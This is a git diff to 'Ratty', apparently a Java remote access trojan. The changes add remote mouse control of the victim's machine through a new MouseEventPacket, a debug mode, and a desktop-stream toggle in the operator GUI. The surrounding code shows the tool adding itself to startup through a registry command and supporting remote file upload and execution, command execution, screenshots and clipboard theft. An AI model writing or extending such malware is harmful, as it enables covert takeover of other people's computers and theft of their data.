diff --git a/Ratty/res/menu_icons.png b/Ratty/res/menu_icons.png index 94d26f4..128199e 100644 Binary files a/Ratty/res/menu_icons.png and b/Ratty/res/menu_icons.png differ diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 94237a0..e950896 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -21,6 +21,8 @@ public final class Ratty { private static int port; private static boolean client; + private static final boolean DEBUG = true; + private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?"; private static final int CONNECTION_INTERVAL = 2500; @@ -58,7 +60,7 @@ public final class Ratty { final File destination = new File(STARTUP_FILE_PATH); FileUtils.createFile(STARTUP_FILE_PATH); - FileUtils.copy(source, destination); + FileUtils.copyFile(source, destination); Runtime.getRuntime().exec(REGISTRY_COMMAND); } catch (final URISyntaxException | IOException ex) { ex.printStackTrace(); @@ -116,7 +118,16 @@ public final class Ratty { readConnectionData(); - if (client) { + if (DEBUG) { + final String[] options = {"Server", "Client"}; + final int input = JOptionPane.showOptionDialog(null, "Server or client?", null, JOptionPane.YES_NO_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null); + + if (input == JOptionPane.YES_OPTION) { + startServer(23456); + } else if (input == JOptionPane.NO_OPTION) { + connectToHost("localhost", 23456); + } + } else if (client) { addToStartup(); connectToHost(address, port); } else { diff --git a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java index ea06e70..0403cd4 100644 --- a/Ratty/src/de/sogomn/rat/builder/StubBuilder.java +++ b/Ratty/src/de/sogomn/rat/builder/StubBuilder.java @@ -63,7 +63,7 @@ public final class StubBuilder { final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI(); final File source = new File(sourceUri); - FileUtils.copy(source, destination); + FileUtils.copyFile(source, destination); return destination; } catch (final URISyntaxException ex) { diff --git a/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java b/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java new file mode 100644 index 0000000..0eccadc --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/MouseEventPacket.java @@ -0,0 +1,69 @@ +package de.sogomn.rat.packet; + +import java.awt.AWTException; +import java.awt.Robot; +import java.awt.event.MouseEvent; + +import de.sogomn.rat.ActiveClient; + +public final class MouseEventPacket implements IPacket { + + private int x, y; + private int button; + private byte strokeType; + + public static final byte PRESS = 0; + public static final byte RELEASE = 1; + public static final byte CLICK = 2; + + public MouseEventPacket(final int x, final int y, final int button, final byte strokeType) { + this.x = x; + this.y = y; + this.button = button; + this.strokeType = strokeType; + } + + public MouseEventPacket() { + this(0, 0, MouseEvent.NOBUTTON, CLICK); + } + + @Override + public void send(final ActiveClient client) { + client.writeInt(x); + client.writeInt(y); + client.writeInt(button); + client.writeByte(strokeType); + } + + @Override + public void receive(final ActiveClient client) { + x = client.readInt(); + y = client.readInt(); + button = client.readInt(); + strokeType = client.readByte(); + } + + @Override + public void execute(final ActiveClient client) { + try { + final Robot rob = new Robot(); + + if (strokeType == PRESS) { + rob.mouseMove(x, y); + rob.mousePress(button); + } else if (strokeType == RELEASE) { + rob.mouseMove(x, y); + rob.mouseRelease(button); + } else if (strokeType == CLICK) { + rob.mouseMove(x, y); + rob.mousePress(button); + rob.mousePress(button); + } + } catch (final IllegalArgumentException ex) { + System.err.println("No valid mouse button"); + } catch (final AWTException ex) { + ex.printStackTrace(); + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 919abed..0a56494 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -16,7 +16,8 @@ public enum PacketType { UPLOAD(11, UploadFilePacket.class), EXECUTE(12, ExecuteFilePacket.class), FOLDER(13, CreateFolderPacket.class), - DELETE(14, DeleteFilePacket.class); + DELETE(14, DeleteFilePacket.class), + MOUSE_EVENT(15, MouseEventPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java index f23cd3e..2bcdb5c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -2,8 +2,10 @@ package de.sogomn.rat.server.gui; import java.awt.Color; import java.awt.Graphics2D; +import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; +import de.sogomn.engine.IMouseListener; import de.sogomn.engine.Screen; import de.sogomn.engine.Screen.ResizeBehavior; import de.sogomn.engine.util.ImageUtils; @@ -11,15 +13,20 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class DisplayPanel { + private String title; private Screen screen; private BufferedImage image; + private int lastXPos, lastYPos; + private int lastButtonHit; private int lastKeyHit; private IGuiController controller; private static final int SCREEN_WIDTH = 1920 / 2; private static final int SCREEN_HEIGHT = 1080 / 2; + public static final String MOUSE_PRESSED = "Mouse pressed"; + public static final String MOUSE_RELEASED = "Mouse released"; public static final String KEY_PRESSED = "Key pressed"; public static final String KEY_RELEASED = "Key released"; @@ -30,10 +37,29 @@ public final class DisplayPanel { private Screen createScreen(final int width, final int height) { final Screen screen = new Screen(width, height); + final IMouseListener mouseListener = new IMouseListener() { + @Override + public void mouseEvent(final int x, final int y, final int button, final boolean flag) { + mouseEventPerformed(x, y, button, flag); + } + + @Override + public void mouseMotionEvent(final int x, final int y, final int modifiers) { + //... + } + + @Override + public void mouseWheelEvent(final int x, final int y, final int rotation) { + //... + } + }; + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setTitle(title); screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); screen.setBackgroundColor(Color.BLACK); - screen.addKeyboardListener(this::keyEvent); + screen.addMouseListener(mouseListener); + screen.addKeyboardListener(this::keyEventPerformed); screen.addListener(g -> { g.drawImage(image, 0, 0, null); }); @@ -41,7 +67,26 @@ public final class DisplayPanel { return screen; } - private void keyEvent(final int key, final boolean flag) { + private void mouseEventPerformed(final int x, final int y, final int button, final boolean flag) { + lastXPos = x; + lastYPos = y; + + if (button == MouseEvent.BUTTON1) { + lastButtonHit = MouseEvent.BUTTON1_DOWN_MASK; + } else if (button == MouseEvent.BUTTON2) { + lastButtonHit = MouseEvent.BUTTON2_DOWN_MASK; + } else if (button == MouseEvent.BUTTON3) { + lastButtonHit = MouseEvent.BUTTON3_DOWN_MASK; + } else { + lastButtonHit = MouseEvent.NOBUTTON; + } + + if (controller != null) { + controller.userInput(flag ? MOUSE_PRESSED : MOUSE_RELEASED); + } + } + + private void keyEventPerformed(final int key, final boolean flag) { lastKeyHit = key; if (controller != null) { @@ -89,10 +134,26 @@ public final class DisplayPanel { openScreen(screenWidth, screenHeight); } + public void setTitle(final String title) { + this.title = title; + } + public void setController(final IGuiController controller) { this.controller = controller; } + public int getLastXPos() { + return lastXPos; + } + + public int getLastYPos() { + return lastYPos; + } + + public int getLastButtonHit() { + return lastButtonHit; + } + public int getLastKeyHit() { return lastKeyHit; } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java index 9c748b2..5dfdf7c 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreePanel.java @@ -246,6 +246,10 @@ public final class FileTreePanel { } } + public void setTitle(final String title) { + dialog.setTitle(title); + } + public void setVisible(final boolean state) { dialog.setVisible(state); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index f5cf36c..f7e9008 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -48,8 +48,7 @@ public final class RattyGui { public static final String POPUP = "Open popup"; public static final String SCREENSHOT = "Take screenshot"; - public static final String DESKTOP = "Start desktop stream"; - public static final String DESKTOP_STOP = "Stop desktop stream"; + public static final String DESKTOP = "Toggle desktop stream"; public static final String FILES = "Browse files"; public static final String COMMAND = "Execute command"; public static final String CLIPBOARD = "Get clipboard content"; @@ -60,7 +59,6 @@ public final class RattyGui { POPUP, SCREENSHOT, DESKTOP, - DESKTOP_STOP, FILES, COMMAND, CLIPBOARD, diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 03af584..b695410 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -22,6 +22,7 @@ import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.packet.KeyEventPacket; +import de.sogomn.rat.packet.MouseEventPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; @@ -139,6 +140,20 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final int key = displayPanel.getLastKeyHit(); packet = new KeyEventPacket(key, KeyEventPacket.RELEASE); + } else if (command == DisplayPanel.MOUSE_PRESSED) { + final DisplayPanel displayPanel = serverClient.getDisplayPanel(); + final int x = displayPanel.getLastXPos(); + final int y = displayPanel.getLastYPos(); + final int button = displayPanel.getLastButtonHit(); + + packet = new MouseEventPacket(x, y, button, MouseEventPacket.PRESS); + } else if (command == DisplayPanel.MOUSE_RELEASED) { + final DisplayPanel displayPanel = serverClient.getDisplayPanel(); + final int x = displayPanel.getLastXPos(); + final int y = displayPanel.getLastYPos(); + final int button = displayPanel.getLastButtonHit(); + + packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE); } return packet; @@ -249,20 +264,16 @@ public final class RattyGuiController implements IServerObserver, IClientObserve @Override public void userInput(final String command) { final ServerClient serverClient = gui.getLastServerClientClicked(); + final IPacket packet = getPacket(command, serverClient); - if (serverClient != null) { - final IPacket packet = getPacket(command, serverClient); - - if (packet != null) { - serverClient.client.addPacket(packet); - } + if (packet != null) { + serverClient.client.addPacket(packet); } if (command == RattyGui.DESKTOP) { - serverClient.setStreamingDesktop(true); - gui.updateTable(); - } else if (command == RattyGui.DESKTOP_STOP) { - serverClient.setStreamingDesktop(false); + final boolean streaming = serverClient.isStreamingDesktop(); + + serverClient.setStreamingDesktop(!streaming); gui.updateTable(); } else if (command == RattyGui.FILES) { final FileTreePanel treePanel = serverClient.getTreePanel(); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index a252dc2..2b832a5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -29,6 +29,9 @@ public final class ServerClient { this.version = version; loggedIn = true; + + displayPanel.setTitle(name); + treePanel.setTitle(name); } public void setStreamingDesktop(final boolean streamingDesktop) {